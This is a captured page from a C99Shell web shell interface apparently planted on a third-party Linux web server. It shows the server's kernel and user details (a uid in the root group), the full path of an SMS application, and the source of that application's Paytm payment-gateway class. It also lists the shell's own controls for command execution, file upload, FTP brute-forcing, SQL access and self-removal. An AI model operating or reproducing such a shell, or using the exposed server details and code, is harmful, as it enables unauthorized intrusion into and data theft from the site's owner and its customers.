!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/Modules/PaymentGateway/WHNPurchaseGateway/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaytmPayment.php (7.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\WHNPurchaseGateway;

use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\number;
use 
App\Models\NumberRequest;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
paytm\paytmchecksum\PaytmChecksum;

class 
PaytmPayment implements PaymentInterface
{
    public 
$numberReq;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirectfalse;

    public function 
__construct()
    {

    }

    public function 
pay()
    {
        
// TODO: Implement pay() method.
    
}
    public function 
getCredentials()
    {
        
$credentials json_decode(get_settings('payment_gateway'));
        if (!
$credentials->paytm_environment || !$credentials->paytm_mid || !$credentials->paytm_secret_key || !$credentials->paytm_website || !$credentials->paytm_txn_url) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        return 
$credentials;
    }

    public function 
request($request)
    {
        
$this->request $request;
        return 
$this;
    }

    public function 
number($number){
        
$this->number $number;
        return 
$this;
    }

    public function 
number_request($numberReq){
        
$this->numberReq $numberReq;
        return 
$this;
    }

    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }
    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }
    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }

    public function 
process()
    {
        try {
        
$credentials $this->getCredentials();
        
$paytmData $this->payTmPayment($this->number$this->request$this->numberReq$credentials);
            
$this->return_view view('paymentgateway::number_purchase.paytm'$paytmData);
//        return view('paymentgateway::paytm', $paytmData);
        
} catch (\Exception $ex) {
            
Log::error($ex);
            return 
redirect()->route('customer.numbers.purchase')->withErrors(['msg' => trans('Invalid Payment')]);
        }
    }


    function 
payTmPayment($number$req$numberReq$credentials)
    {
        
$recurring_type 'week';
        
$expired now()->addWeek();

        
$paytmParams = array();

        
$orderId "numberORDERID_" $numberReq->id;
        
$mid $credentials->paytm_mid;
        
$paytmParams["body"] = array(
            
"requestType" => "Payment",
            
"mid" => $mid,
            
"websiteName" => $credentials->paytm_website,
            
"orderId" => $orderId,
            
"callbackUrl" => route('paymentgateway::payment.number.paytm.redirect'),
            
"subscriptionAmountType" => "FIX",
            
"subscriptionFrequency" => "2",
            
"subscriptionFrequencyUnit" => strtoupper($recurring_type),
            
"subscriptionExpiryDate" => $expired,
            
"subscriptionEnableRetry" => "1",
            
"txnAmount" => array(
                
"value" => $number->sell_price,
                
"currency" => "INR",
            ),
            
"userInfo" => array(
                
"custId" => "CUST_" $numberReq->customer_id,
            ),
        );


        
/*
* Generate checksum by parameters we have in body
* Find your Merchant Key in your Paytm Dashboard at https://dashboard.paytm.com/next/apikeys
*/
        
$checksum PaytmChecksum::generateSignature(json_encode($paytmParams["body"], JSON_UNESCAPED_SLASHES), $credentials->paytm_secret_key);

        
$paytmParams["head"] = array(
            
"signature" => $checksum
        
);
        
$post_data json_encode($paytmParamsJSON_UNESCAPED_SLASHES);

        if (
$credentials->paytm_environment == 'staging') {
            
/* for Staging */
            
$url "https://securegw-stage.paytm.in/theia/api/v1/initiateTransaction?mid=" $mid "&orderId=" $orderId;

        }

        if (
$credentials->paytm_environment == 'production') {
            
/* for Production */
            
$url "https://securegw.paytm.in/theia/api/v1/initiateTransaction?mid=" $mid "&orderId=" $orderId;

        }

        
$ch curl_init($url);
        
curl_setopt($chCURLOPT_POST1);
        
curl_setopt($chCURLOPT_POSTFIELDS$post_data);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_HTTPHEADER, array("Content-Type: application/json"));
        
$response curl_exec($ch);

        
$paytmBody $paytmParams["body"];
        
$paytmUserInfo $paytmBody['userInfo'];



        
$response json_decode($response);
        if (!isset(
$response->body) || !isset($response->body->resultInfo) || $response->body->resultInfo->resultStatus != 'S') {
            throw new 
\Exception(trans('Invalid Payment'));
        }


        
$data['environment'] = $credentials->paytm_environment;
        
$data['response'] = $response;
        
$data['mid'] = $mid;
        
$data['order_id'] = $orderId;
        return 
$data;

    }

    function 
processPaytmRedirect(Request $request)
    {
        if (!
$this->request->ORDERID || !$this->request->TXNID || !$this->request->TXNAMOUNT || !$this->request->STATUS) {
            return 
redirect()->route('login')->withErrors(['msg' => trans('layout.message.invalid_payment')]);
        }

        
$credentials json_decode(get_settings('payment_gateway'));
        if (!
$credentials->paytm_secret_key) {
            return 
redirect()->route('login')->withErrors(['msg' => trans('invalid Payment')]);
        }

        
$paytmParams $_POST;

        
$paytmChecksum $_POST['CHECKSUMHASH'];
        unset(
$paytmParams['CHECKSUMHASH']);

        
$isVerifySignature PaytmChecksum::verifySignature($paytmParams$credentials->paytm_secret_key$paytmChecksum);
        if (!
$isVerifySignature) return redirect()->route('login')->withErrors(['msg' => trans('Invalid Payment')]);


        
$orderId $request->ORDERID;
        
$orderId explode('_'$orderId)[1];

        
$billingRequestNumberRequest::find($orderId);
        if (!
$billingRequest) return redirect()->route('login')->withErrors(['msg' => trans('Invalid Payment')]);
        
$numbernumber::where('id',$billingRequest->number_id)->first();
        if (
$request->TXNAMOUNT != format_number($number->sell_price2)) return redirect()->route('login')->withErrors(['msg' => trans('Invalid Payment')]);

        if (
$request->STATUS != 'TXN_SUCCESS') return redirect()->route('login')->withErrors(['msg' => trans('Invalid Payment')]);

        
$billingRequest->status 'accepted';
        
$billingRequest->save();

        
$customer=Customer::find($billingRequest->customer_id);
        
$time Carbon::now()->addMonths(1);
        
$customer->numbers()->create(['number_id' => $number->id'number' => $number->number,'expire_date' => $time'cost' => $number->sell_price]);


        return 
redirect()->route('login')->with('success'trans('Payment Success'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0077 ]--